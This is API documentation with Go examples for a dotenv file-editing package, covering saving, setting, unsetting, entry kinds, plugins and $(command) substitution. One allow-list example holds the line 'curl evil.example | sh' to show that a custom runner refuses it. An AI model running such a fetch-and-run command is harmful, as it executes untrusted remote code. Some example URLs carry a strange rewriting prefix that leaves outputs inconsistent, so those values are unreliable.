Example (Mode)

A new file is created 0600. An existing file keeps its own mode across a save, whatever the process umask is.

package main

import (
	"fmt"
	"os"
	"path/filepath"

	"github.com/ubgo/dotenv"
)

// editEnvName is the file name every saving example writes inside its own
// temporary directory. Only this base name is ever printed, never the
// directory, so the output is the same on every machine.
const editEnvName = ".env"

// editTempDir makes a private scratch directory for one example and returns a
// cleanup func. Examples cannot take a *testing.T, so this stands in for
// t.TempDir.
func editTempDir() (string, func()) {
	dir, err := os.MkdirTemp("", "dotenv-example-")
	if err != nil {
		panic(err)
	}
	return dir, func() {
		if rmErr := os.RemoveAll(dir); rmErr != nil {
			fmt.Println("cleanup:", rmErr)
		}
	}
}

func main() {
	dir, cleanup := editTempDir()
	defer cleanup()
	path := filepath.Join(dir, editEnvName)

	f, err := dotenv.Open(path)
	if err != nil {
		fmt.Println("open:", err)
		return
	}
	f.Set("A", "1")
	if err := f.Save(); err != nil {
		fmt.Println("save:", err)
		return
	}
	info, err := os.Stat(path)
	if err != nil {
		fmt.Println("stat:", err)
		return
	}
	fmt.Printf("new file: %o\n", info.Mode().Perm())

	// The owner widens it on purpose; the next save must keep that choice.
	const sharedMode = 0o640
	if err := os.Chmod(path, sharedMode); err != nil {
		fmt.Println("chmod:", err)
		return
	}
	g, err := dotenv.Open(path)
	if err != nil {
		fmt.Println("open:", err)
		return
	}
	g.Set("A", "2")
	if err := g.Save(); err != nil {
		fmt.Println("save:", err)
		return
	}
	info, err = os.Stat(path)
	if err != nil {
		fmt.Println("stat:", err)
		return
	}
	fmt.Printf("after save: %o\n", info.Mode().Perm())
}
Output:
new file: 600
after save: 640
Example (NoPath)

A File from Parse has no Path, so Save refuses. Set Path, or use SaveAs.

package main

import (
	"fmt"

	"github.com/ubgo/dotenv"
)

func main() {
	f := dotenv.Parse("A=1\n")
	fmt.Println(f.Save())
}
Output:
dotenv: no path set; use Open, or set Path before Save
Example (TrailingNewline)

A file that ended without a newline still ends without one after edits, and a file that had one keeps it.

package main

import (
	"fmt"

	"github.com/ubgo/dotenv"
)

func main() {
	without := dotenv.Parse("A=1")
	without.Set("B", "2")

	with := dotenv.Parse("A=1\n")
	with.Set("B", "2")

	fmt.Printf("%q\n", without.Render())
	fmt.Printf("%q\n", with.Render())
}
Output:
"A=1\nB=2"
"A=1\nB=2\n"

func (*File) SaveAs

func (f *File) SaveAs(path string) error

SaveAs writes the file to a different path, leaving f.Path unchanged.

Not mutating f is what makes emitting several variants from one source read cleanly:

f, _ := dotenv.Open(".env.staging")
f.Set("DOMAIN", "acme.io")
f.SaveAs(".env.prod")
f.Set("DOMAIN", "qa.acme.io")
f.SaveAs(".env.qa")

An EXISTING destination keeps its own permissions; a new one is created with this file's mode. Overwriting must never widen a file a user has deliberately locked down, and must never quietly loosen one it is about to fill with secrets.

Example

SaveAs writes to another path and leaves f.Path alone, so one loaded file can emit several variants. A new destination gets this file's mode; an existing one keeps its own.

package main

import (
	"fmt"
	"os"
	"path/filepath"
	"sort"

	"github.com/ubgo/dotenv"
)

// editTempDir makes a private scratch directory for one example and returns a
// cleanup func. Examples cannot take a *testing.T, so this stands in for
// t.TempDir.
func editTempDir() (string, func()) {
	dir, err := os.MkdirTemp("", "dotenv-example-")
	if err != nil {
		panic(err)
	}
	return dir, func() {
		if rmErr := os.RemoveAll(dir); rmErr != nil {
			fmt.Println("cleanup:", rmErr)
		}
	}
}

// editListDir prints the base names in dir, sorted, so an example can show
// that Save left no temp file behind.
func editListDir(dir string) {
	entries, err := os.ReadDir(dir)
	if err != nil {
		fmt.Println("read dir:", err)
		return
	}
	names := make([]string, 0, len(entries))
	for _, e := range entries {
		names = append(names, e.Name())
	}
	sort.Strings(names)
	fmt.Println(names)
}

// editReadFile prints a file's exact bytes, quoted so line endings show.
func editReadFile(path string) {
	b, err := os.ReadFile(path)
	if err != nil {
		fmt.Println("read:", err)
		return
	}
	fmt.Printf("%q\n", b)
}

func main() {
	dir, cleanup := editTempDir()
	defer cleanup()
	stagingPath := filepath.Join(dir, ".env.staging")
	const src = "DOMAIN=staging.acme.io\nAPI_URL=https://api.${DOMAIN}\n"
	if err := os.WriteFile(stagingPath, []byte(src), 0o600); err != nil {
		fmt.Println("write:", err)
		return
	}

	staging, err := dotenv.Open(stagingPath)
	if err != nil {
		fmt.Println("open:", err)
		return
	}
	variants := []struct{ name, domain string }{ // a slice keeps the order fixed
		{"prod", "acme.io"},
		{"qa", "qa.acme.io"},
	}
	for _, v := range variants {
		c := staging.Clone()
		c.Set("DOMAIN", v.domain)
		if err := c.SaveAs(filepath.Join(dir, ".env."+v.name)); err != nil {
			fmt.Println("save:", err)
			return
		}
	}

	fmt.Println("Path unchanged:", staging.Path == stagingPath)
	editListDir(dir)
	editReadFile(filepath.Join(dir, ".env.prod"))
	editReadFile(stagingPath)
}
Output:
Path unchanged: true
[.env.prod .env.qa .env.staging]
"DOMAIN=acme.io\nAPI_URL=https://api.${DOMAIN}\n"
"DOMAIN=staging.acme.io\nAPI_URL=https://api.${DOMAIN}\n"

func (*File) Set

func (f *File) Set(key, value string) (created bool)

Set updates key to value, appending `KEY=value` when the key is absent.

Returns created=true when appended. The editing rules exist to keep diffs honest:

  • only the LAST occurrence is updated, because it is the effective one
  • setting the identical value is a byte-level no-op
  • everything left of the value (export prefix, the spacing on both sides of the delimiter, and the `=` or `:` delimiter the author chose) and the inline comment after it are preserved exactly — a colon-delimited pair is never rewritten to `=`
  • a changed value is re-rendered with canonical quoting (see renderStyle): bare when that reads back the same, double-quoted otherwise, a double-quoted block when it contains newlines, and single- or backtick-quoted when it contains '$', so the value is stored literally. The entry's quote style is updated with it, so GetExpanded agrees before and after the file is saved and read again.
Example

Set updates a key in place, or appends it when it is missing. Everything else in the file keeps its exact bytes.

package main

import (
	"fmt"

	"github.com/ubgo/dotenv"
)

func main() {
	f := dotenv.Parse("# database\nexport DB_HOST = localhost # dev only\n")

	updated := f.Set("DB_HOST", "db.internal") // existing: changed in place
	created := f.Set("DB_PORT", "5432")        // missing: appended at the end

	fmt.Println("DB_HOST created:", updated)
	fmt.Println("DB_PORT created:", created)
	fmt.Print(f.Render())
}
Output:
DB_HOST created: false
DB_PORT created: true
# database
export DB_HOST = db.internal # dev only
DB_PORT=5432
Example (Dollar)

Set stores a value containing '$' literally, in single quotes, so a password such as "a$b" comes back unchanged from GetExpanded, in this session and after the file is read again.

package main

import (
	"fmt"

	"github.com/ubgo/dotenv"
)

func main() {
	f := dotenv.Parse("")
	f.Set("PASSWORD", "a$b")

	raw, _ := f.Get("PASSWORD")
	expanded, _, err := f.GetExpanded("PASSWORD")
	if err != nil {
		fmt.Println("expand:", err)
		return
	}
	fmt.Print(f.Render())
	fmt.Printf("Get=%q GetExpanded=%q\n", raw, expanded)
}
Output:
PASSWORD='a$b'
Get="a$b" GetExpanded="a$b"
Example (Duplicates)

With a duplicated key, Set changes the LAST occurrence, because that is the one a reader of the file actually gets.

package main

import (
	"fmt"

	"github.com/ubgo/dotenv"
)

func main() {
	f := dotenv.Parse("MODE=a\nMODE=b\n")
	f.Set("MODE", "c")
	fmt.Print(f.Render())
}
Output:
MODE=a
MODE=c
Example (Noop)

Setting the value a key already has changes nothing, byte for byte, even when the value was written with quotes or odd spacing.

package main

import (
	"fmt"

	"github.com/ubgo/dotenv"
)

func main() {
	const src = "KEY =   'same'   # note\n"
	f := dotenv.Parse(src)

	f.Set("KEY", "same")

	fmt.Println(f.Render() == src)
}
Output:
true
Example (Quoting)

Set picks the quoting for you: bare when that reads back the same, double quotes when the value has a space, '#', a quote or a backslash, and a double-quoted block when it has newlines.

package main

import (
	"fmt"

	"github.com/ubgo/dotenv"
)

func main() {
	f := dotenv.Parse("")
	f.Set("PLAIN", "simple")
	f.Set("SPACED", "two words")
	f.Set("HASH", "a #b")
	f.Set("QUOTED", `say "hi"`)
	f.Set("EMPTY", "")
	f.Set("PEM", "line one\nline two")
	fmt.Print(f.Render())
}
Output:
PLAIN=simple
SPACED="two words"
HASH="a #b"
QUOTED="say \"hi\""
EMPTY=
PEM="line one
line two"

func (*File) SetAfter

func (f *File) SetAfter(anchor, key, value string) (created bool, err error)

SetAfter sets key, placing a NEW entry immediately after the anchor key's entry.

An existing key is updated in place and NOT moved: relocating it would rewrite two regions of the file for a one-value change, and the author put it where it is for a reason. created reports whether an entry was added.

Returns ErrAnchorNotFound if the anchor has no active entry, leaving the file untouched, so a caller can decide between falling back to Set and treating it as a template error.

Example

SetAfter puts a NEW key right after an anchor key, so related settings stay together. A key that already exists is updated where it is, not moved.

package main

import (
	"fmt"

	"github.com/ubgo/dotenv"
)

func main() {
	f := dotenv.Parse("DB_HOST=localhost\nDB_PORT=5432\n\nAPP_NAME=shop\n")

	created, err := f.SetAfter("DB_PORT", "DB_PASSWORD", "secret")
	if err != nil {
		fmt.Println("error:", err)
		return
	}
	fmt.Println("created:", created)

	// DB_HOST exists, so it is updated in place; the anchor is not used.
	created, err = f.SetAfter("APP_NAME", "DB_HOST", "db.internal")
	if err != nil {
		fmt.Println("error:", err)
		return
	}
	fmt.Println("created:", created)
	fmt.Print(f.Render())
}
Output:
created: true
created: false
DB_HOST=db.internal
DB_PORT=5432
DB_PASSWORD=secret

APP_NAME=shop
Example (AnchorNotFound)

A missing anchor is an error, and the file is left alone. A commented-out key does not count as an anchor, because it is not active.

package main

import (
	"errors"
	"fmt"

	"github.com/ubgo/dotenv"
)

func main() {
	const src = "# DB_PORT=5432\n"
	f := dotenv.Parse(src)

	_, err := f.SetAfter("DB_PORT", "DB_PASSWORD", "secret")

	fmt.Println(errors.Is(err, dotenv.ErrAnchorNotFound))
	fmt.Println("unchanged:", f.Render() == src)
}
Output:
true
unchanged: true

func (*File) SetBefore

func (f *File) SetBefore(anchor, key, value string) (created bool, err error)

SetBefore is SetAfter, inserting immediately before the anchor's entry.

Example

SetBefore is SetAfter on the other side of the anchor.

package main

import (
	"fmt"

	"github.com/ubgo/dotenv"
)

func main() {
	f := dotenv.Parse("DB_HOST=localhost\nDB_PORT=5432\n")

	created, err := f.SetBefore("DB_HOST", "DB_DRIVER", "postgres")
	if err != nil {
		fmt.Println("error:", err)
		return
	}
	fmt.Println("created:", created)
	fmt.Print(f.Render())
}
Output:
created: true
DB_DRIVER=postgres
DB_HOST=localhost
DB_PORT=5432

func (*File) Unset

func (f *File) Unset(key string, del bool) (found bool)

Unset deactivates key, returning whether it was found. Like Set, it targets the last occurrence.

With del=false every physical line of the entry is commented out: reversible, diff-friendly, and the documentation above it stays attached to something. With del=true the entry is removed outright.

Example

Unset(key, false) comments the setting out, which you can undo later. Unset(key, true) deletes the line. Both report whether the key was active.

package main

import (
	"fmt"

	"github.com/ubgo/dotenv"
)

func main() {
	f := dotenv.Parse("OLD_FLAG=1\nLEGACY_URL=http://old\nKEEP=yes\n")

	fmt.Println(f.Unset("OLD_FLAG", false))  // comment out
	fmt.Println(f.Unset("LEGACY_URL", true)) // delete
	fmt.Println(f.Unset("MISSING", false))   // not there
	fmt.Print(f.Render())
}
Output:
true
true
false
# OLD_FLAG=1
KEEP=yes

type Kind

type Kind int

Kind classifies a parsed entry. Closed set — the parser produces nothing else.

Example

ExampleKind shows the exact line that produces each of the six kinds.

package main

import (
	"fmt"
	"strings"

	"github.com/ubgo/dotenv"
)

func main() {
	lines := []string{
		"PORT=8080",         // a pair
		"# a note",          // a comment
		"",                  // a blank line
		"not a setting!",    // unrecognised, kept verbatim
		"# DEBUG=true",      // a commented-out setting
		"export AWS_REGION", // a name with no value: inherited
	}

	f := dotenv.Parse(strings.Join(lines, "\n") + "\n")
	for _, e := range f.Entries() {
		fmt.Printf("%-13s %q\n", e.Kind, e.Raw[0])
	}
}
Output:
pair          "PORT=8080"
comment       "# a note"
blank         ""
other         "not a setting!"
disabled-pair "# DEBUG=true"
inherited     "export AWS_REGION"
Example (Pitfalls)

ExampleKind_pitfalls shows lines that parse as something other than what a reader might expect. Each is the documented behaviour, and each line still renders back byte for byte.

package main

import (
	"fmt"

	"github.com/ubgo/dotenv"
)

func main() {
	const content = `# TODO=fix this
# Note: rotate monthly
# Owner: alice
# http://example.com
http://example.com
MY KEY=value
`
	f := dotenv.Parse(content)

	for _, e := range f.Entries() {
		fmt.Printf("%-13s key=%q value=%q\n", e.Kind, e.Key, e.Value)
	}
	fmt.Println("round trip:", f.Render() == content)
}
Output:
disabled-pair key="TODO" value="fix this"
comment       key="" value=""
disabled-pair key="Owner" value="alice"
comment       key="" value=""
pair          key="http" value="//example.com"
other         key="" value=""
round trip: true
const (
	// KindPair is a KEY=value entry, possibly multi-line and possibly
	// `export`-prefixed.
	KindPair Kind = iota

	// KindComment is a full-line comment: the first non-space character is #.
	KindComment

	// KindBlank is an empty or whitespace-only line.
	KindBlank

	// KindOther is any line the parser does not recognise. Preserved verbatim
	// and never touched — an unparseable line is far more likely to be
	// something the parser has not learned yet than something safe to discard.
	//
	// This is a DELIBERATE divergence from compose-go, which errors on an
	// invalid character in a key (`unexpected character "!" in variable name`)
	// and refuses the whole file. An editor cannot afford that: erroring would
	// make an otherwise-valid file unopenable — and so uneditable — because of
	// one stray line, and "parse, edit, save" must never be blocked by content
	// it was never going to touch. Preservation over rejection. The cost is
	// that a malformed pair is silently invisible to Get/Keys/Map rather than
	// loudly reported; a caller that wants strictness can walk Entries and
	// treat KindOther as its own error.
	KindOther

	// KindDisabledPair is a commented-out setting: "# DB_USER=admin". Key and
	// Value are populated, but the entry is INACTIVE — Get, Has, Count, and Map
	// all ignore it, exactly as a consumer of the file would.
	//
	// It is a distinct kind rather than a plain comment because the two mean
	// different things to anything inspecting a file: one is a setting somebody
	// turned off, the other is prose. Restore turns it back on.
	//
	// The parser assigns this to any comment whose body parses as a pair, so a
	// line the author commented out by hand is indistinguishable from one Unset
	// produced. The cost is a false positive on prose shaped like an
	// assignment — "# TODO=fix this" reads as a disabled setting, which is also
	// what a human skimming the file would assume.
	KindDisabledPair

	// KindInherited is a name-only line — `HOME`, or `export HOME` — with no
	// delimiter and no value. In the Compose env-file grammar it declares that
	// the variable's value comes from the process environment, and it is how a
	// file whitelists host variables (an AWS key, a proxy setting) without
	// hardcoding their values.
	//
	// This package recognises the declaration but NEVER resolves it: doing so
	// would read os.Environ, which this package promises not to touch. So the
	// entry is INACTIVE — Get, Has, Count, Keys, Pairs, and Map all ignore it,
	// and an unresolved ${reference} to it expands to "" like any other unset
	// variable. Inherited lists the declared names so a caller that wants
	// Compose's behaviour can apply os.Getenv (or any other source) itself —
	// the decision to read the environment stays with the application.
	KindInherited
)

func (Kind) String

func (k Kind) String() string

String implements fmt.Stringer, so a Kind in a test failure or a log line reads as a name rather than an integer.

Example

ExampleKind_String prints a Kind as a name, which is what %s, %v and a log line show. A value outside the six kinds prints as Kind(n).

package main

import (
	"fmt"

	"github.com/ubgo/dotenv"
)

func main() {
	kinds := []dotenv.Kind{
		dotenv.KindPair,
		dotenv.KindComment,
		dotenv.KindBlank,
		dotenv.KindOther,
		dotenv.KindDisabledPair,
		dotenv.KindInherited,
		dotenv.Kind(42),
	}
	for _, k := range kinds {
		fmt.Println(k)
	}
}
Output:
pair
comment
blank
other
disabled-pair
inherited
Kind(42)

type Lookuper

type Lookuper interface {
	Lookup(name string) (value string, ok bool, err error)
}

Lookuper supplies a value for a reference the file itself does not define.

It runs AFTER the file's own keys, so the file always wins — adding an environment fallback cannot silently override a value somebody wrote down. Compose behaves the same way.

Returning ok=false means "I do not have this", and the next Lookuper is tried; the first one to answer wins. An error aborts expansion rather than being treated as a miss, because a secret store that is down must not look like a variable that is unset.

A supplied value is expanded like any other, so it may itself contain references, and the cycle guard covers it.

type Option

type Option func(*options)

Option customises parsing and expansion.

func WithCommandRunner

func WithCommandRunner(run func(string) (string, error)) Option

WithCommandRunner overrides how $(command) is executed.

Exists so tests can exercise substitution without spawning a shell, and so an application can supply a sandboxed or allow-listed runner instead of raw `sh -c`. Implies WithCommandSubstitution(true).

Sugar for WithPlugin over a CommandRunner — a one-function hook should not require declaring a type.

Example

ExampleWithCommandRunner shows $(command) substitution is off by default and that a runner decides what each command returns, so an allow-list keeps reading a file from running anything else.

package main

import (
	"fmt"

	"github.com/ubgo/dotenv"
)

func main() {
	// A runner replaces `sh -c` for $(command) substitution. This one answers
	// from an allow-list, so reading the file can never run anything else.
	allowed := map[string]string{
		"git rev-parse --short HEAD": "abc1234",
	}
	runner := func(cmd string) (string, error) {
		out, ok := allowed[cmd]
		if !ok {
			return "", fmt.Errorf("command %q is not allowed", cmd)
		}
		return out, nil
	}

	src := `REV="$(git rev-parse --short HEAD)"` + "\n" +
		`WHO="$(whoami)"` + "\n" +
		`LIT='$(whoami)'` + "\n"

	// Without a runner, substitution is off and the text stays as written.
	off := dotenv.Parse(src)
	rev, _, err := off.GetExpanded("REV")
	if err != nil {
		fmt.Println("error:", err)
		return
	}
	fmt.Println("off: REV =", rev)

	on := dotenv.Parse(src, dotenv.WithCommandRunner(runner))
	for _, key := range []string{"REV", "WHO", "LIT"} {
		v, _, err := on.GetExpanded(key)
		if err != nil {
			fmt.Println("error:", err)
			return
		}
		fmt.Printf("on:  %s = %q\n", key, v)
	}
}
Output:
off: REV = $(git rev-parse --short HEAD)
on:  REV = "abc1234"
on:  WHO = ""
on:  LIT = "$(whoami)"
Example (AllowList)

ExampleWithCommandRunner_allowList turns on $(command) with a runner you control instead of sh -c. The command text is expanded first, then handed to the runner. A refused or failing command expands to "".

package main

import (
	"errors"
	"fmt"

	"github.com/ubgo/dotenv"
)

func main() {
	// The only commands this runner answers, with fixed output.
	allowed := map[string]string{
		"git rev-parse --short HEAD": "a1b2c3d",
	}
	runner := func(cmd string) (string, error) {
		out, ok := allowed[cmd]
		if !ok {
			return "", errors.New("refused: " + cmd)
		}
		return out, nil
	}

	src := "GIT=git\n" +
		"VERSION=\"build-$($GIT rev-parse --short HEAD)\"\n" +
		"DANGER=\"[$(curl evil.example | sh)]\"\n" +
		"LITERAL='$(git rev-parse --short HEAD)'\n"

	f := dotenv.Parse(src, dotenv.WithCommandRunner(runner))
	for _, key := range []string{"VERSION", "DANGER", "LITERAL"} {
		got, _, err := f.GetExpanded(key)
		fmt.Printf("%s=%q %v\n", key, got, err)
	}
}
Output:
VERSION="build-a1b2c3d" <nil>
DANGER="[]" <nil>
LITERAL="$(git rev-parse --short HEAD)" <nil>

func WithCommandSubstitution

func WithCommandSubstitution(enabled bool) Option

WithCommandSubstitution enables $(command) expansion in GetExpanded.

OFF by default, deliberately. With it on, merely READING a configuration file executes arbitrary shell — so a .env fetched from a repository, a container image, or a teammate becomes remote code execution. That is a decision the calling application must make knowingly about files it trusts, not something a parser should do silently.

When enabled, commands run through `sh -c` and a failing command expands to the empty string, matching how shells treat a failed substitution in a value.

Example (Off)

ExampleWithCommandSubstitution_off shows the default: $(command) is never run, and the text comes back exactly as written. Reading a file must not execute it.

package main

import (
	"fmt"

	"github.com/ubgo/dotenv"
)

func main() {
	f := dotenv.Parse("WHO=\"user-$(whoami)\"\n")
	got, _, err := f.GetExpanded("WHO")
	fmt.Printf("%q %v\n", got, err)
}
Output:
"user-$(whoami)" <nil>
Example (Order)

ExampleWithCommandSubstitution_order shows that options apply in order: a later WithCommandSubstitution(false) switches substitution back off even after WithCommandRunner turned it on.

package main

import (
	"fmt"
	"strings"

	"github.com/ubgo/dotenv"
)

func main() {
	const src = "K=$(echo hi)\n"
	// upper stands in for a shell: it echoes the command upper-cased, so the
	// output shows whether it ran.
	upper := func(cmd string) (string, error) { return strings.ToUpper(cmd), nil }

	// No ${VAR?} references here, so GetExpanded cannot return an error.
	on, _, _ := dotenv.Parse(src, dotenv.WithCommandRunner(upper)).GetExpanded("K")
	off, _, _ := dotenv.Parse(src,
		dotenv.WithCommandRunner(upper),
		dotenv.WithCommandSubstitution(false),
	).GetExpanded("K")
	fmt.Printf("runner only:    %q\n", on)
	fmt.Printf("then off again: %q\n", off)
}
Output:
runner only:    "ECHO HI"
then off again: "$(echo hi)"

func WithEscapes

func WithEscapes(m EscapeMode) Option

WithEscapes selects the escape-sequence dialect. Defaults to EscapeExtended.

Example

ExampleWithEscapes compares the two escape dialects on the same input. EscapeExtended (the default) decodes \n \r \t \" \\. EscapeCompose decodes only \" and \\, like Docker Compose. Unknown sequences such as \U or \d are kept as written in both. Single-quoted values never decode anything.

package main

import (
	"fmt"

	"github.com/ubgo/dotenv"
)

// synEscapesSrc holds one double-quoted value per escape sequence, plus one
// single-quoted value, so both modes are compared on exactly the same input.
const synEscapesSrc = `QUOTE="say \"hi\""` + "\n" +
	`BACKSLASH="a\\b"` + "\n" +
	`NEWLINE="a\nb"` + "\n" +
	`TAB="a\tb"` + "\n" +
	`WINPATH="C:\Users\dev"` + "\n" +
	`REGEX="^\d+$"` + "\n" +
	`SINGLE='a\nb'` + "\n"

func main() {
	for _, mode := range []dotenv.EscapeMode{dotenv.EscapeExtended, dotenv.EscapeCompose} {
		fmt.Println("mode:", mode)
		f := dotenv.Parse(synEscapesSrc, dotenv.WithEscapes(mode))
		for _, key := range f.Keys() {
			v, _ := f.Get(key)
			fmt.Printf("  %s=%q\n", key, v)
		}
	}
}
Output:
mode: extended
  QUOTE="say \"hi\""
  BACKSLASH="a\\b"
  NEWLINE="a\nb"
  TAB="a\tb"
  WINPATH="C:\\Users\\dev"
  REGEX="^\\d+$"
  SINGLE="a\\nb"
mode: compose
  QUOTE="say \"hi\""
  BACKSLASH="a\\b"
  NEWLINE="a\\nb"
  TAB="a\\tb"
  WINPATH="C:\\Users\\dev"
  REGEX="^\\d+$"
  SINGLE="a\\nb"

func WithLookup

func WithLookup(fn func(name string) (string, bool)) Option

WithLookup supplies values for references the file does not define.

Sugar for WithPlugin over a Lookuper:

dotenv.Parse(src, dotenv.WithLookup(os.LookupEnv))

That single line is how a caller opts into Compose's environment fallback without this package ever touching os.Environ itself.

Example

ExampleWithLookup shows how references the file does not define are filled from a fallback source, while the file's own keys and ${VAR:-default} still win.

package main

import (
	"fmt"

	"github.com/ubgo/dotenv"
)

func main() {
	// WithLookup fills references the file does not define. A map stands in for
	// os.LookupEnv here, so the output does not depend on the machine running it.
	fallback := map[string]string{
		"HOST":   "from-fallback",
		"REGION": "eu-west-1",
	}
	lookup := func(name string) (string, bool) {
		v, ok := fallback[name]
		return v, ok
	}

	src := "HOST=from-file\n" +
		"URL=https://${HOST}/${REGION}\n" +
		"ZONE=${AZ:-default-zone}\n"
	f := dotenv.Parse(src, dotenv.WithLookup(lookup))

	for _, key := range []string{"URL", "ZONE"} {
		v, _, err := f.GetExpanded(key)
		if err != nil {
			fmt.Println("error:", err)
			return
		}
		fmt.Printf("%s=%s\n", key, v)
	}
}
Output:
URL=https://from-file/eu-west-1
ZONE=default-zone

func WithPlugin

func WithPlugin(plugins ...Plugin) Option

WithPlugin installs a plugin.

The plugin's capabilities are detected once, here, by type assertion. A plugin implementing none is legal — it may exist only to be listed — but is usually a signature typo, which is what Plugins exists to make visible.

Example

ExampleWithPlugin installs one typed plugin that holds two capabilities over one shared store, and lists what it was detected as.

package main

import (
	"fmt"
	"strings"

	"github.com/ubgo/dotenv"
)

// plugVault is a secret-store plugin holding two capabilities that share one
// client (here, a map): it fills undefined ${VAR} references, and it
// dereferences values written as "vault:<path>".
type plugVault struct {
	secrets map[string]string
}

// plugVaultScheme marks a value that names a secret path rather than holding
// the secret itself.
const plugVaultScheme = "vault:"

func (v *plugVault) Name() string { return "vault" }

// Lookup answers a reference the file does not define.
func (v *plugVault) Lookup(name string) (string, bool, error) {
	s, ok := v.secrets[name]
	return s, ok, nil
}

// TransformValue swaps "vault:<path>" for the secret at that path.
func (v *plugVault) TransformValue(key, value string) (string, error) {
	path, ok := strings.CutPrefix(value, plugVaultScheme)
	if !ok {
		return value, nil
	}
	s, found := v.secrets[path]
	if !found {
		return "", fmt.Errorf("no secret at %q", path)
	}
	return s, nil
}

func main() {
	// One plugin, two capabilities, one shared store.
	vault := &plugVault{secrets: map[string]string{
		"DB_PASSWORD": "s3cret",
		"api/key":     "k-123",
	}}

	src := "DB_URL=postgres://app:${DB_PASSWORD}@db/app\n" +
		"API_KEY='vault:api/key'\n"
	f := dotenv.Parse(src, dotenv.WithPlugin(vault))

	m, err := f.ExpandedMap()
	if err != nil {
		fmt.Println("error:", err)
		return
	}
	fmt.Println("DB_URL =", m["DB_URL"])
	fmt.Println("API_KEY =", m["API_KEY"])

	for _, p := range f.Plugins() {
		fmt.Println(p)
	}
}
Output:
DB_URL = postgres://app:s3cret@db/app
API_KEY = k-123
vault: Lookuper, ValueTransformer
Example (Guard)

ExampleWithPlugin_guard uses a typed SaveGuard to refuse a file with a missing or empty required key, then saves once the key is filled.

package main

import (
	"errors"
	"fmt"
	"os"
	"path/filepath"
	"strings"

	"github.com/ubgo/dotenv"
)

// plugRequireKeys is a SaveGuard that refuses to write a file missing any of
// the listed keys, or holding one with an empty value.
type plugRequireKeys struct {
	keys []string
}

func (plugRequireKeys) Name() string { return "require-keys" }

// GuardSave only reads the file. It is handed a copy, so an edit here would
// change nothing that is saved; see the firewall in docs/library/plugins.md.
func (g plugRequireKeys) GuardSave(f *dotenv.File) error {
	var missing []string
	for _, k := range g.keys {
		if v, ok := f.Get(k); !ok || v == "" {
			missing = append(missing, k)
		}
	}
	if len(missing) > 0 {
		return fmt.Errorf("missing or empty: %s", strings.Join(missing, ", "))
	}
	return nil
}

func main() {
	// Guards run before anything is written, on Save and SaveAs alike.
	guard := dotenv.WithPlugin(plugRequireKeys{keys: []string{"DATABASE_URL", "SECRET_KEY"}})

	dir, err := os.MkdirTemp("", "dotenv-require-")
	if err != nil {
		fmt.Println("error:", err)
		return
	}
	defer func() {
		// Cleanup is best-effort; a failure goes to stderr so the example's
		// checked stdout output is unaffected.
		if err := os.RemoveAll(dir); err != nil {
			fmt.Fprintln(os.Stderr, "cleanup:", err)
		}
	}()
	path := filepath.Join(dir, ".env")

	f := dotenv.Parse("DATABASE_URL=postgres://db/app\nSECRET_KEY=\n", guard)
	err = f.SaveAs(path)
	fmt.Println("refused:", errors.Unwrap(err))

	_, statErr := os.Stat(path)
	fmt.Println("file written:", statErr == nil)

	f.Set("SECRET_KEY", "k-123")
	fmt.Println("saved:", f.SaveAs(path) == nil)
}
Output:
refused: missing or empty: SECRET_KEY
file written: false
saved: true
Example (LookupError)

ExampleWithPlugin_lookupError shows a Lookuper error aborts expansion and stays matchable with errors.Is, instead of being read as "not set".

package main

import (
	"errors"
	"fmt"

	"github.com/ubgo/dotenv"
)

// plugDownStore is a secret store that cannot be reached.
type plugDownStore struct{}

// errPlugUnreachable is the cause the store reports; callers match it with
// errors.Is.
var errPlugUnreachable = errors.New("connection refused")

func (plugDownStore) Name() string { return "vault" }

func (plugDownStore) Lookup(string) (string, bool, error) {
	return "", false, errPlugUnreachable
}

func main() {
	// A Lookuper error aborts expansion. It is never treated as "not set", so a
	// default cannot quietly stand in for a password the store failed to return.
	f := dotenv.Parse("DSN=db://app:${DB_PASSWORD:-}@db\n", dotenv.WithPlugin(plugDownStore{}))

	_, _, err := f.GetExpanded("DSN")
	fmt.Println(err)
	fmt.Println("unreachable:", errors.Is(err, errPlugUnreachable))
}
Output:
dotenv: plugin "vault": lookup DB_PASSWORD: connection refused
unreachable: true

func WithSaveGuard

func WithSaveGuard(fn func(*File) error) Option

WithSaveGuard refuses a write when the file fails a check.

Sugar for WithPlugin over a SaveGuard. The guard may reject, never rewrite: fn receives a copy of the file, so a Set on it changes nothing that is saved.

Example

ExampleWithSaveGuard refuses to write a file that fails a check, and shows the file already on disk is left untouched by the refused save.

package main

import (
	"errors"
	"fmt"
	"os"
	"path/filepath"
	"strings"

	"github.com/ubgo/dotenv"
)

func main() {
	// A guard refuses to write a file that fails a check. This one blocks a
	// password that is not encrypted.
	guard := dotenv.WithSaveGuard(func(f *dotenv.File) error {
		for _, p := range f.Pairs() {
			if strings.Contains(p.Key, "PASSWORD") && !strings.HasPrefix(p.Value, "encrypted:") {
				return fmt.Errorf("%s looks like a plaintext secret", p.Key)
			}
		}
		return nil
	})

	dir, err := os.MkdirTemp("", "dotenv-guard-")
	if err != nil {
		fmt.Println("error:", err)
		return
	}
	defer func() {
		// Cleanup is best-effort; a failure goes to stderr so the example's
		// checked stdout output is unaffected.
		if err := os.RemoveAll(dir); err != nil {
			fmt.Fprintln(os.Stderr, "cleanup:", err)
		}
	}()

	path := filepath.Join(dir, ".env")
	if err := os.WriteFile(path, []byte("ORIGINAL=1\n"), 0o600); err != nil {
		fmt.Println("error:", err)
		return
	}

	bad := dotenv.Parse("DB_PASSWORD=hunter2\n", guard)
	err = bad.SaveAs(path)
	// The full message also names the path; unwrap to print only the reason.
	fmt.Println("refused:", errors.Unwrap(err))

	kept, err := os.ReadFile(path)
	if err != nil {
		fmt.Println("error:", err)
		return
	}
	fmt.Printf("on disk: %q\n", kept)

	good := dotenv.Parse("DB_PASSWORD=encrypted:abc\n", guard)
	fmt.Println("saved:", good.SaveAs(path) == nil)
}
Output:
refused: DB_PASSWORD looks like a plaintext secret
on disk: "ORIGINAL=1\n"
saved: true

func WithValueTransform

